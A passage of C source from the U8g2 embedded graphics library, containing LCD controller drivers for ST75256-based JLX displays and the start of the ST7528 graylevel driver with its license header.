U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ if ( u8x8->x_offset == 1 ) /* 1 means flip mode 1 */ u8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos)); else u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x+u8x8->display_info->default_x_offset); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* SendData can not handle more than 255 bytes, treat c > 31 correctly */ if ( c > 31 ) { u8x8_cad_SendData(u8x8, 248, ptr); /* 31*8=248 */ ptr+=248; c -= 31; } u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); return 1; case U8X8_MSG_DISPLAY_SETUP_MEMORY: //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x160_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x160m_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); return 1; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); return 1; #endif } return 0; } /*=============================================*/ /* JLX256160 alternative version from issue #561 */ static const u8x8_display_info_t u8x8_st75256_256x160_alt_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 32, /* tile_height = */ 20, /* default_x_offset = */ 0, /* x offset in flipmode 0 */ /* flipmode_x_offset = */ 0, /* */ /* pixel_width = */ 256, /* pixel_height = */ 160 }; static const uint8_t u8x8_d_st75256_256x160_alt_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x000 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x4f), /* row range */ U8X8_CAA(0x15, 0, 255), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x02 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 159 ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x18, 0x05 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx256160_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ if ( u8x8->x_offset == 0 ) /* 0 means flip mode 1 */ u8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos)); else u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x+u8x8->x_offset); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* SendData can not handle more than 255 bytes, treat c > 31 correctly */ if ( c > 31 ) { u8x8_cad_SendData(u8x8, 248, ptr); /* 31*8=248 */ ptr+=248; c -= 31; } u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); return 1; case U8X8_MSG_DISPLAY_SETUP_MEMORY: //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x160_alt_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x160_alt_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); return 1; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); return 1; #endif } return 0; } /*=============================================*/ /* JLX19296 LCD */ static const u8x8_display_info_t u8x8_st75256_192x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 24, /* tile_height = */ 12, /* default_x_offset = */ 0, /* */ /* flipmode_x_offset = */ 64, /* pixel_width = */ 192, /* pixel_height = */ 96 }; static const uint8_t u8x8_d_st75256_jlx19296_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x003 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x4f), /* row range */ U8X8_CAA(0x15, 0, 255), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 0x9f ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x2e, 0x03 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx19296(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ if ( u8x8->x_offset == 0 ) /* 0 means flip mode 1, then adjust y value */ u8x8_cad_SendArg(u8x8, 8+(((u8x8_tile_t *)arg_ptr)->y_pos)); else u8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x+u8x8->x_offset); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; c *= 8; if ( c + x > 192u ) { c = 192u; c -= x; } u8x8_cad_SendData(u8x8, c, ptr); x += c; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); return 1; case U8X8_MSG_DISPLAY_SETUP_MEMORY: //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_192x96_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx19296_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); return 1; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; /* if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; */ #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); return 1; #endif } return 0; } /*=============================================*/ /* JLX16080 LCD https://github.com/olikraus/u8g2/issues/2058 WARNING: NOT FULLY TESTED in issue 2058! */ static const u8x8_display_info_t u8x8_st75256_jlx16080_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 20, /* tile_height = */ 10, /* default_x_offset = */ 0, /* */ /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 80 }; static const uint8_t u8x8_d_st75256_jlx16080_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x003 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x4f), /* row range */ U8X8_CAA(0x15, 0, 255), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 0x9f ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x2e, 0x03 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx16080(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ //if ( u8x8->x_offset == 0 ) /* 0 means flip mode 1, then adjust y value */ //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); //else u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x+u8x8->x_offset); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; c *= 8; if ( c + x > 192u ) { c = 192u; c -= x; } u8x8_cad_SendData(u8x8, c, ptr); x += c; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); return 1; case U8X8_MSG_DISPLAY_SETUP_MEMORY: //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_jlx16080_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx16080_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); return 1; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; /* if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; */ #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); return 1; #endif } return 0; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7528.c ================================================ /* u8x8_d_st7528.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2019, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ST7528: 16 Graylevel Controller https://github.com/olikraus/u8g2/issues/986 I2C Address: 0x03f (0x7e) ERC16004 https://www.buydisplay.com/default/2-inch-lcd-160x64-graphic-module-serial-spi-display-st7528-black-on-white */ #include "u8x8.h" static const uint8_t u8x8_d_st7528_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x038, 0x074), /* ext mode 0*/ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7528_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x038, 0x074), /* ext mode 0*/ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7528_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* ADC */ U8X8_C(0x0c8), /* SHL */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7528_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* ADC */ U8X8_C(0x0c0), /* SHL */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* input: one tile (8 Bytes) output: Tile for st7528 (32 Bytes) */ static uint8_t u8x8_st7528_8to32_dest_buf[32]; static uint8_t *u8x8_st7528_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t j; uint8_t *dest; dest = u8x8_st7528_8to32_dest_buf; for( j = 0; j < 8; j++ ) { *dest++ =*ptr; *dest++ =*ptr; *dest++ =*ptr; *dest++ =*ptr; ptr++; } return u8x8_st7528_8to32_dest_buf; } static uint8_t u8x8_d_st7528_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x; uint8_t y, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7528_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_nhd_c160100_init_seq); */ break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1326 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; // not clear y = (((u8x8_tile_t *)arg_ptr)->y_pos); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0xb0 | y ); /* set page address */ u8x8_cad_SendCmd(u8x8, 0x10| (x>>4) ); /* set col msb*/ u8x8_cad_SendCmd(u8x8, 0x00| (x&15) ); /* set col lsb*/ u8x8_cad_SendData(u8x8, 32, u8x8_st7528_8to32(u8x8, ptr)); ptr += 8; x += 8; c--; } while( c > 0 ); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static void u8x8_d_st7528_graylevel_init(u8x8_t *u8x8, uint8_t mode0) { uint8_t i; u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x38 ); u8x8_cad_SendArg(u8x8, mode0+1 ); for( i = 0; i < 64; i++ ) { u8x8_cad_SendCmd(u8x8, i+0x080 ); u8x8_cad_SendArg(u8x8, i & 0xfc); } u8x8_cad_SendCmd(u8x8, 0x38 ); u8x8_cad_SendArg(u8x8, mode0 ); u8x8_cad_EndTransfer(u8x8); } /*===============================================================*/ /* NHD C160100 */ static const uint8_t u8x8_d_st7528_nhd_c160100_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* I2C_out(0x48);//partial display duty ratio I2C_out(0x64);// 1/100 duty I2C_out(0xA0);//ADC select I2C_out(0xC8);//SHL select I2C_out(0x44);//initial Com0 register I2C_out(0x00);//scan from Com0 I2C_out(0xAB);//OSC on I2C_out(0x26);// I2C_out(0x81); //set electronic volume I2C_out(0x15);//vopcode=0x1C I2C_out(0x56);//set 1/11 bias I2C_out(0x64);//3x delay(2); I2C_out(0x2C);// I2C_out(0x66);//5x delay(2); I2C_out(0x2E);// delay(2); I2C_out(0x2F);//power control 